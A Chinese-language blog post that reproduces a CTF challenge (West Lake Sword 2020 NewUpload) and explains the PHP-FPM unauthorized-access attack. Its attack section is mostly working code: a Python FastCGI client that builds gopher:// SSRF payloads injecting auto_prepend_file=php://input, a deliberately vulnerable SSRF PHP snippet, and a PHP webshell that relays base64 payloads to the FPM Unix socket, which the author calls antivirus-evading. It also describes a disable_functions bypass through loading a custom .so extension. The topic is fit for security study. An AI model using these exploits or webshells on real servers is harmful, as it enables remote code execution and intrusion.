PHP-FPM未授权访问漏洞

这是在复现西湖论剑2020的NewUpload时学习到的知识点,觉得很有趣就记录下来了。

0x01 起因

参考文章:西湖论剑Web之NewUpload(黑白之道)
划水时间看着师傅的WriteUp时,发现了如下让我不解的操作(我这感人知识面)。本着菜就要多读书的原则,开始了一探究竟。



0x02 深究

根据文章中提供的参考链接也了解到了这个操作,是“PHP-FPM未授权访问漏洞”。接下来需要一步步了解什么是PHP-FPM,下面我直接把前辈们文章的介绍搬过来,方面大家看。

Web服务器与PHP之间的连接方式

Apache2-module

把 php 当做 apache 的一个模块,实际上 php 就相当于 apache 中的一个 dll 或一个 so 文件。

CGI模式

此时 php 是一个独立的进程比如 php-cgi.exe,web 服务器也是一个独立的进程比如 apache.exe,然后当 Web 服务器监听到 HTTP 请求时,会去调用 php-cgi 进程,他们之间通过 cgi 协议,服务器把请求内容转换成 php-cgi 能读懂的协议数据传递给 cgi 进程,cgi 进程拿到内容就会去解析对应 php 文件,得到的返回结果在返回给 web 服务器,最后 web 服务器返回到客户端,但随着网络技术的发展,CGI 方式的缺点也越来越突出。每次客户端请求都需要建立和销毁进程。因为 HTTP 要生成一个动态页面,系统就必须启动一个新的进程以运行 CGI 程序,不断地 fork 是一项很消耗时间和资源的工作。

FsatCGI模式

fastcgi 本身还是一个协议,在 cgi 协议上进行了一些优化,众所周知,CGI 进程的反复加载是 CGI 性能低下的主要原因,如果 CGI 解释器保持在内存中 并接受 FastCGI 进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over 特性等等。

简而言之,CGI 模式是 apache2 接收到请求去调用 CGI 程序,而 fastcgi 模式是 fastcgi 进程自己管理自己的 cgi 进程,而不再是 apache 去主动调用 php-cgi,而 fastcgi 进程又提供了很多辅助功能比如内存管理,垃圾处理,保障了 cgi 的高效性,并且 CGI 此时是常驻在内存中,不会每次请求重新启动。

PHP-FPM

这个大家肯定都不陌生,在 linux 下装 php 环境的时候,经常会用到 php-fpm,那 php-fpm 是什么?

上面提到,fastcgi 本身是一个协议,那么就需要有一个程序去实现这个协议,php-fpm 就是实现和管理 fastcgi 协议的进程,fastcgi 模式的内存管理等功能,都是由 php-fpm 进程所实现的

下面引用 p 师傅的博客文章:

Nginx 等服务器中间件将用户请求按照 fastcgi 的规则打包好通过 TCP 传给谁?其实就是传给 FPM。
FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果 web 目录是/var/www/html,那么 Nginx 会将这个请求变成如下 key-value 对:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
这个数组其实就是 PHP 中$_SERVER数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。
PHP-FPM 拿到 fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的 PHP 文件,也就是/var/www/html/index.php。

本质上 fastcgi 模式也只是对 cgi 模式做了一个封装,本质上只是从原来 web 服务器去调用 cgi 程序变成了 web 服务器通知 php-fpm 进程并由 php-fpm 进程去调用 php-cgi 程序。

PHP-FPM未授权漏洞

PHP-FPM工作时,默认监听9000端口,用于接收Web服务器发送过来的FastCGI协议数据。而当我们能够通过任意方式访问到PHP-FPM的9000端口时,就可以构造数据包通过给SCRIPT_FILENAME赋值,达到执行任意PHP文件的目的了。但是由于FPM某版本后配置文件添加了security.limit_extensions选项,用于指定解析文件的后缀,并且默认值为.php,这样让我们无法通过任意文件包含达到代码执行的效果。

不过问题不大,因为我们可以通过fastcgi协议的PHP_VALUE和PHP_ADMIN_VALUE(PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项)来修改php配置中的绝大多数配置项,但这里不包括disable_functions。

那我们可以通过修改哪些配置项来达到获取更大威胁的目的呢?答案在下面两个配置项:

auto_prepend_file:用于指定在执行目标PHP文件之前,先包含指定文件。
auto_append_file:用于指定在执行目标PHP文件之后,包含指定文件。

我们可以通过设置auto_prepend_file=php://input,再从POST传入PHP代码的方式来达到执行任意代码的效果。(php://input是获取POST中的内容,但需要设置allow_url_include = On)
此时的fastcgi协议数据包大概结构如下:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

根据上面所讲的内容,参考p牛写好的exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

0x03复现

TCP模式

了解完原理就复现一下,我这里用的是CentOS7+宝塔。由于Apache默认是通过模块的方式加载PHP,而Nginx是通过cgi方式,所以我通过宝塔安装Nginx+php7.4。
这里还需要说一点,Nginx与PHP-FPM之间有两种通信方式:

TCP模式:即是 php-fpm 进程会监听本机上的一个端口(默认 9000),然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000 端口,php-fpm 拿到数据后会调用 cgi 进程解析。
Unix Socket模式:unix socket 其实严格意义上应该叫 unix domain socket,它是 unix 系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为 socket 的唯一标识(描述符),需要通信的两个进程引用同一个 socket 描述符文件就可以建立通道进行通信了。

默认情况下是Unix Socket模式,所以我们还需要修改为TCP模式(我这里是宝塔默认安装的配置文件路径):
PHP-FPM配置:/www/server/php/74/etc/php-fpm.conf

[global]
pid = /www/server/php/74/var/run/php-fpm.pid
error_log = /www/server/php/74/var/log/php-fpm.log
log_level = notice

[www]
listen = 0.0.0.0:9000   // 修改这里,全接口监听9000
listen.backlog = 8192
listen.owner = www
listen.group = www
listen.mode = 0666
user = www
group = www
pm = dynamic
pm.status_path = /phpfpm_74_status
pm.max_children = 200
pm.start_servers = 15
pm.min_spare_servers = 15
pm.max_spare_servers = 30
request_terminate_timeout = 100
request_slowlog_timeout = 30
slowlog = var/log/slow.log

Nginx配置:/www/server/nginx/conf/enable-php-74.conf

location ~ [^/].php(/|$)
{
        try_files $uri =404;
        fastcgi_pass 127.0.0.1:9000;    // 修改这里,指定fastcgi在127.0.0.1的9000端口
        fastcgi_index index.php;
        include fastcgi.conf;
        include pathinfo.conf;
}

修改完成后重启Nginx和PHP,重启PHP后会发现宝塔面板的PHP一直是停止状态,不要慌,其实此时服务器已经开始监听9000,且能正常解析php文件。

环境配置好了,但我们还需要指定一个存在的PHP文件,否则fastcgi也无法正常执行下去。但是在实际情况下我们可能不知道站点的绝对路径,不过安装php时会生成一些php文件,这些文件的路径是我们可能能够预料到的。

但是我宝塔安装的环境找不到这些文件,所以我就随便指定一个文件了。
一切准备就绪,就可以用上面给出的p师傅的exp来试试了:

TCP模式 SSRF

在PHP-FPM端口没有对外开放的情况下,我们还可以通过寻找SSRF配合Gopher来进行攻击。
首先我们造个SSRF:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>

再通过evoA师傅的魔改脚本生成payload:

import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) 
               + bchr(fcgi_type) 
               + bchr((requestid >> 8) & 0xFF) 
               + bchr(requestid & 0xFF) 
               + bchr((length >> 8) & 0xFF) 
               + bchr(length & 0xFF) 
               + bchr(0) 
               + bchr(0) 
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) 
                      + bchr((nLen >> 16) & 0xFF) 
                      + bchr((nLen >> 8) & 0xFF) 
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) 
                      + bchr((vLen >> 16) & 0xFF) 
                      + bchr((vLen >> 8) & 0xFF) 
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
       # if not self.__connect():
        #    print('connect failure! please check your fasctcgi-server !!')
         #   return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) 
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) 
                                 + bchr(self.keepalive) 
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        #print base64.b64encode(request)
        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT 
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    response = urllib.quote(response)
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)


将生成的payload进行一次url编码后,开始利用。

Unix Socket模式

在Unix Socket模式下是不是就没辙了呢?其实差不多就没辙了,但是非要做的话也是OK的。
首先需要将模式改回Unix Socket模式:
/www/server/nginx/confenable-php-74.conf

location ~ [^/].php(/|$)
{
        try_files $uri =404;
        fastcgi_pass unix:/tmp/php-cgi-74.sock;
        fastcgi_index index.php;
        include fastcgi.conf;
        include pathinfo.conf;
}

/www/server/php/74/etc/php-fpm.conf

[global]
pid = /www/server/php/74/var/run/php-fpm.pid
error_log = /www/server/php/74/var/log/php-fpm.log
log_level = notice

[www]
listen = /tmp/php-cgi-74.sock
listen.backlog = 8192
listen.owner = www
listen.group = www
listen.mode = 0666
user = www
group = www
pm = dynamic
pm.status_path = /phpfpm_74_status
pm.max_children = 200
pm.start_servers = 15
pm.min_spare_servers = 15
pm.max_spare_servers = 30
request_terminate_timeout = 100
request_slowlog_timeout = 30
slowlog = var/log/slow.log

假设场景,能够上传php文件或者执行代码,将下面的EXP上传到服务器:

<?php
	$sock=stream_socket_client('unix:///tmp/php-cgi-74.sock');
        fwrite($sock, base64_decode($_GET['cmd']));
	var_dump(fread($sock, 4096));

将p牛的EXP魔改一下,只输出生成的payload的base64数据:
__connect()写成恒返回真

将payload进行base64编码后输出,并结束程序执行

生成payload:

这可以作为一个有环境要求的免杀webshell,稳妥妥的免杀。还有一种情况是bypass disable_functions,就如最开始看NewUpload的WriteUp中的操作,通过使用PHP_ADMIN_VALUE设置extension = /tmp/sky.so,将自编译的sky.so当成模块加载,最终达到命令执行的效果。

ps:如文章存在错误,辛苦各位师傅多指点,谢谢~

0x04 参考链接

PHP 连接方式介绍以及如何攻击 PHP-FPM(evoA)
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写(PHITHON)
西湖论剑Web之NewUpload(黑白之道)

CTF相关
原文地址:https://www.cnblogs.com/Gcker/p/13824041.html